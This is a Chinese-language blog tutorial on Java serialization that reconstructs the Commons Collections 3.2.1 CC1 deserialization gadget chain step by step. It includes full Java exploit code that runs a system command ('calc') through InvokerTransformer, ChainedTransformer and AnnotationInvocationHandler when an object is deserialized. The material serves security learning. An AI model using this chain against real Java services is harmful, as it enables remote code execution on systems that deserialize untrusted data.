Java序列化与反序列化+cc链
前言
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储
与PHP不同的是php大概是序列化生成一串序列化字符串,而java是生成了字节流文件
PHP通过一串字符串来在各种运行环境中穿梭,而java通过一个字节流文件来穿梭
同时java没有类似于python或者php的魔术函数,它是通过链式调用,也就是套娃的方式来构造恶意链
除此之外我们可以通过重写其默认的readObject()
函数我们可以执行一些恶意命令执行函数
序列化
首先需要一个目标类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.Z1d10t; import com.learn.learning;
import java.io.Serializable;
public class Student implements Serializable { private String name="Tom"; public int age = 1;
public transient String hobby = "basketball";
public String getName() { return name; }
public int getAge() { return age; }
public void setName(String name) { this.name = name; }
public void setAge(int age) { this.age = age; } private void display(String name){ System.out.println("This is "+name); } public void see(int age){ System.out.println("Age is "+age); }
@Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
然后是我们的序列化过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.Z1d10t;
import java.io.FileOutputStream; import java.io.ObjectOutputStream;
public class Serialize { public static void main(String[] args) throws Exception { Student stu = new Student(); FileOutputStream fileOutputStream = new FileOutputStream("ser.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(stu); objectOutputStream.close(); fileOutputStream.close(); }
}
|
需要注意的是 我们要进行序列化与反序列化需要带有 Serializable
接口才行
还有关键字transient
申明的属性不会参与序列化与反序列化
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.Z1d10t;
import java.io.FileInputStream; import java.io.ObjectInputStream;
public class Unserialize { public static void main(String[] args) throws Exception { FileInputStream fileInputStream = new FileInputStream("ser.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Student stu2 = (Student) objectInputStream.readObject();
}
}
|
可见hobby属性并没有被反序列化
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695179428869-b952b548-017a-428c-8dc2-567f9982efa7.png)
简单利用
如果我们在目标类中重写readObject函数 并且进行命令执行
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695179646673-b6e09605-1d54-46a9-a676-d4d3801e850d.png)
1 2 3 4 5 6
| private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ in.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
|
当我们反序列化执行readObject()
的时候 就会自动调用我们的命令函数了
这里需要注意就是我们还是需要执行系统默认设置的in.defaultReadObject();
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695179805874-0bd15737-f88c-4d37-ae39-1d602a66a5a2.png)
cc1链复现
环境搭建
无脑看这个师傅的链接搭就行了JAVA安全初探(三):CC1链全分析 - 先知社区
需要注意的是 配置好maven之后 就会自动帮我们把Comments-Collections-3.2.1下载到本地仓库
就不用再去找源码了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695715437217-786b7c76-a173-4f66-b126-63d10b4db4ea.png)
其次还要将其加进去
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695715472115-a7d5acc8-04ef-4e5d-a545-d23e92d9749e.png)
源头利用点
这个链子的源头是Common Collections库中的Transformer
接口
寻找一下继承了这个接口的类
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695454148260-4d7efa22-95fc-4ac2-bfff-a7f0d4b749b4.png)
有很多 但是主角是InvokerTransformer
我们跟进一下
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695454286059-69488c32-f40f-4059-9a92-9a519a7a469d.png)
发现有我们很熟悉的反射调用那么这里很明显是一个利用点 并且它还支持反序列化 继承了Serializable接口
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695454750499-9f72da11-0375-417e-9ebb-dbb5f7a9126b.png)
再来看他的构造方法
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695454338049-402a6a61-a492-46e7-811e-ec633bede5b3.png)
一共三个,分别为方法名,变量类的数组,对象数组
这是一个我们普通的通过反射调用Runtime
的过程
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695454584580-bda06e70-f932-492d-ad62-eff23551f134.png)
如果按照上面InvokerTransformer的transform
来调用的话 就是这样
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695454630428-86637716-a9ba-43c2-8681-ebdbe96b30df.png)
利用成功
那么这样我们就找到了源头利用点 接下来就是找链子了 链式调用
找链子
去找谁调用了transform方法
有很多类调用了这个方法 但是这里复现TransformedMap
的checkSetValue
方法
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695455310738-ab67a44b-6049-4cf2-b4cc-6a79d6bb5544.png)
这里可以看到方法类型和构造都是protected 所以我们只能内部调用或者子类调用与实例化 不能外部调用去实例化
看看构造函数 返现它传进来一个Map对象然后对他的键和值都进行一些操作
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695455715878-319bf27f-4185-4294-943a-b8cc4e23cdb8.png)
向上找 看看谁调用了方法或者构造了实例
发现docorate()
方法对它进行了实例化 并且还是static类型 那么就属于是类的方法 直接通过类名.方法名
形式调用即可
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695455831118-c7b630d3-3e22-43c9-b5e1-5a955cc7c745.png)
我们先来调用这个函数进行实例化
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695457356419-c7e90a07-4480-45b5-8614-dd6230a6156f.png)
至于这里第二个参数为什么是null 因为checkSetValue只对第二个参数作用了 所以第一个参数传不传都无所谓
TransformedMap这个类的checkSetValue()
调用了transform()
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695642292657-090eb147-8e61-4514-9995-5323aa5d3c89.png)
那么继续 看看谁调用了checkSetValue()
发现只有一处调用了这个函数
MapEntry类的setValue()
函数
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695642386652-aa186b04-327f-4a8f-be3a-b1c0e4017ce6.png)
MapEntry继承了AbstractMapEntryDecorator这个类 同时TransformedMap也继承了这个类
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695645406099-850f6c2a-c71d-4b0a-b878-959003e669c3.png)
AbstractMapEntryDecorator有setValue()
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695642628028-60228ef8-f835-4b8f-835c-cba892ce4dde.png)
那么相当于子类MapEntry重写了父类的setValue()
其实本质上是重写了Entry这个接口的内置函数
同时父类还有Map.Entry这个接口
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695642712810-7347986d-56cd-4531-80f7-7a851e479460.png)
理解Entry
那么至此 我们现需要了解一下什么Entry
简单说Entry就是Map里的键值对
setValue()是Map类的内置函数
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695645691608-056df975-e8f1-4445-9cd4-7a61eed39660.png)
常常用来遍历map对象的时候这样使用 从字面意思也能看出是在赋值
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695646222714-9b3e4142-7931-4880-ab7d-95dfe1ab5645.png)
继续
这个类MapEntry的父类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法
到目前为止来缕一缕思路
for循环遍历transformdMap
->调用MapEntry
的setValue()
->transformdMap
的checkSetValue()
->InvokerTransformer.transform()
非常完美
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695647142500-9ff080bf-bd05-4910-955a-4dc57dde27f1.png)
现在继续来看哪个可利用的类调用了setValue()
如果谁的readObject()
函数调用了setValue()
那么刚好闭环 岂不美哉???
那么就找到了AnnotationInvocationHandler
它的readObject函数直接就调用了setValue()
函数
所以反序列化时候就会自动执行
并且还是遍历Entry来执行的 难道这就是天意吗
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695649837057-9e263bcc-9a7f-454e-a4df-b095d3028056.png)
来看他的构造函数
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695648493194-a326b7fe-335f-427e-b87a-a27f5650b66c.png)
接受两个参数 分别是:
继承了注解的Class 看这个类名也知道和注解有关系
是个Map 并且我们可控 可以将之前的transformdMap
传入
但是这个类有个缺陷就是 他没有申明public 也就是说只能在本package调用 如果想要在外部调用 就要用反射 并且只能用全限定方式调用 也就是Class.forName(完整包名)
方式
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695651081539-852c6ebb-416e-4c52-95c4-e81fbcd1e531.png)
这里再认识一下Override
它是什么呢 它是一个注解 就是用来解释程序的附加信息 不会影响程序的正常运行 可以简单看作一个注释 当然不严谨 我们跟进一下
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695651156989-3fa22f7d-e40a-4e62-a238-1de53769c430.png)
可以看到它上面还有两个注解
那么这两个注解叫做元注解 他们是用来解释注解的
Target一般是来限制注解的作用对象
Retention来限制注解作用阶段 比如源代码阶段还是程序运行阶段
那么 让我们来运行一下
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695651501430-438fa22d-5ac9-4e27-be24-fd93f6262a18.png)
惊了直接调用成功了 这里其实是有问题的 这里并不是我们反序列化调用计算器成功的而是
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695651551073-22e49eeb-b8ef-407d-8beb-30a5936f7a19.png)
所以要把这一行注释了 一定要注意到这里!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime();
InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("Z1d10t","Z1d10t"); Map<Object,Object> transformdMap =TransformedMap.decorate(map, null, rlInvokerTransformer); Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Override.class, transformdMap); serialize(o); unserialize("ser.ser");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
那么再让我们执行一次 它没有成功
那么问题出在哪里了呢
问题
一
Runtime类并没有Serializable接口 所以无法进行序列化和反序列化
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695651832445-20317b70-a0ea-4741-89d1-4938e8510062.png)
所以我们需要通过反射获得它的原型类 原型类Class具有Serializable接口的
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695651916837-e8b8d76e-9f07-4fd5-90eb-e9151d360092.png)
它有一个getRuntime()
方法 注意一下这里是没有参数传入的
可以看到直接返回一个Runtime对象 我们可以利用它来反射调用
也就是单列模式![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695652059596-2a448c28-832c-4a01-ac74-9f1d31bdb344.png)
获得可以反序列化的对象和exec方法
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695653868021-b3411c20-86c3-4d6f-9c6a-663813b39b08.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Class runtimeReflection = Class.forName("java.lang.Runtime"); Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null); Runtime r = (Runtime) rReflectionMethod.invoke(null, null); Method exec = runtimeReflection.getMethod("exec", String.class); exec.invoke(r,"calc");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
优化
优化为我们一开始的InvokerTransformer
调用形式
这里直接给transform穿了一个Runtime.class
这是一个类对象 本质上也是对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { Method rReflectionMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(rReflectionMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Class runtimeReflection = Runtime.class;
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
可以看到是一个套一个的形式 有点套娃 那么有没有一个类直接帮我们进行套娃调用呢
答案是有的ChainedTransformer
类
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695655664035-d609bad6-2da1-4e83-9e60-013efaa89ca6.png)
构造函数我们需要将我们链式调用的内容数组传进去 然后它的transform()
就可以帮我们进行链式调用
真是太酷啦
最后优化后的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
记得要将map这里稍加修改一下 对象变了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695656279030-c5c4fa98-dd90-4c9b-91e2-838323fea8d0.png)
二
记得35行要注释掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("Z1d10t","Z1d10t"); Map<Object,Object> transformdMap =TransformedMap.decorate(map, null,chainedTransformer );
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Override.class, transformdMap); serialize(o); unserialize("ser.ser");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
至此还是执行不了 因为执行AnnotationInvocationHandler
下的readObject()
我们有条件没有满足
有两个if语句
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695656475842-9c59a2b1-a290-4f18-950f-a4c2b380716f.png)
打两个断点我们调试一下
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695656614798-185efa8a-81cd-45f1-97e0-1dcb2d11d4d8.png)
发现第一个条件memberType != null
是不满足的 就直接出来了
这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解Override是没有成员变量的 所以得找一个有成员变量的注解
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695656950483-53b96348-5425-422d-a469-e49e1187758f.png)
Target注解 注意这里value()并不是函数 而是它的属性 学注解的时候有注意到这个
因此要将Object o = annotationConstructor.newInstance(Override.class, transformdMap);
Override改为Target
并且把这块的key改为value
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695657243795-18fd1e65-1765-4493-b6e2-d2fe0cbc3ba6.png)
终于进来了
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695657219389-97bbbae7-153d-4e31-882a-8b5730df1bec.png)
三
在setValue的时候,我们传入的value值根本就不是我们需要的Runtime.class
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695657573479-621fe54d-1c93-4702-bde2-f209cdf81b42.png)
那么我们应该怎么把他转回我们想要的值呢
这里用到了ConstantTransformer
![img](https://z1d10t-blog.oss-cn-shenzhen.aliyuncs.com/img/blog1695657728441-bb8f818a-51f2-4d0e-ab7d-02bedce9c460.png)
这个类里面也有transform,和构造函数配合使用的话
无论我们传入什么值,就会返回构造函数传的那个值,这样就能将value的值转为Runtime.class
至此所有的链就结束了
最终代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package com.Z1d10t.dubug;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class ,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Class runtimeReflection = Runtime.class;
HashMap<Object, Object> map = new HashMap<>(); map.put("value","Z1d10t"); Map<Object,Object> transformdMap =TransformedMap.decorate(map, null,chainedTransformer );
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class); annotationConstructor.setAccessible(true); Object o = annotationConstructor.newInstance(Target.class, transformdMap); serialize(o); unserialize("ser.ser");
} public static void serialize(Object object) throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
}
|
后言:
虽然跟着视频资料一步一步跟过来了 但是还是不太熟悉 还是得多调试多想
累了 调了几天了 终于结束了
感谢:
组长Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
佬文章 JAVA安全初探(三):CC1链全分析 - 先知社区